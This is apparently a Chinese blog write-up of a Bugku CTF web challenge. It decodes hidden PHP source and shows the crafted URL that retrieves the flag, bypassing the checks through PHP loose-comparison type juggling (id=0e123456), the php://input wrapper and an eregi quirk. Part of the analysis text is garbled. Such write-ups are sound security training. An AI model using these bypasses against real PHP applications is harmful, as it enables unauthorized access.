御结冰城(目前正确解法)

在这里插入图片描述
解题思路:查看源代码发现1p.html,访问
http://114.67.246.176:19660/1p.html
跳转到另外一个页面。查看该页面源代码
view-source:http://114.67.246.176:19660/1p.html
在这里插入图片描述
得到一串特殊字符串
在这里插入图片描述
先进行url解码
在这里插入图片描述
将选中部分进行base64解码得到
在这里插入图片描述
最后再url解码得到

"if(!$_GET['id'])   //如果无法通过get获得id变量
{
	header('Location: hello.php?id=1');//跳转到hello.php文件设置id=1
	exit();   //退出脚本。
}
$id=$_GET['id'];  //通过get方式获得其他文件的id变量
$a=$_GET['a'];   //通过get方式获得其他文件的a变量
$b=$_GET['b'];   //通过get方式获得其他文件的b变量
if(stripos($a,'.'))  //$a文件中不能有.
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r'); //将$a文件读入到data中
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	$flag = "flag{***********}"
}
else
{
	print "never never never give up !!!";
}


?>

分析代码

if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	$flag = "flag{***********}"
}

$data=="bugku is a nice plateform!

i d = = 0 与 i f ( ! G E T ( ′ i d ′ ) 矛 盾 , 所 以 我 用 id==0与if(!GET('id')矛盾,所以我用 id==0if(!GET(id)id=0e123456绕过,id为其他也可以。

用$a=php://input通过php伪协议去绕过file_get_contents
b 的 长 度 大 于 5 , e r e g i ( " 111 " . s u b s t r ( b的长度大于5,eregi("111".substr( b5,eregi("111".substr(b,0,1),“1114”)这个函数是 b 的 正 则 匹 配 , s u b s t r ( b的正则匹配,substr( b,substr(b,0,1)!=4这个说明$b开头不能为4,所以我令,

$b=*123456

构造http://114.67.246.176:19660/?id=0e123456&a=php://input&b=*123456
在这里插入图片描述
在通过hackbar进行post请求,得到flag

  • 7
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

g1ory.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值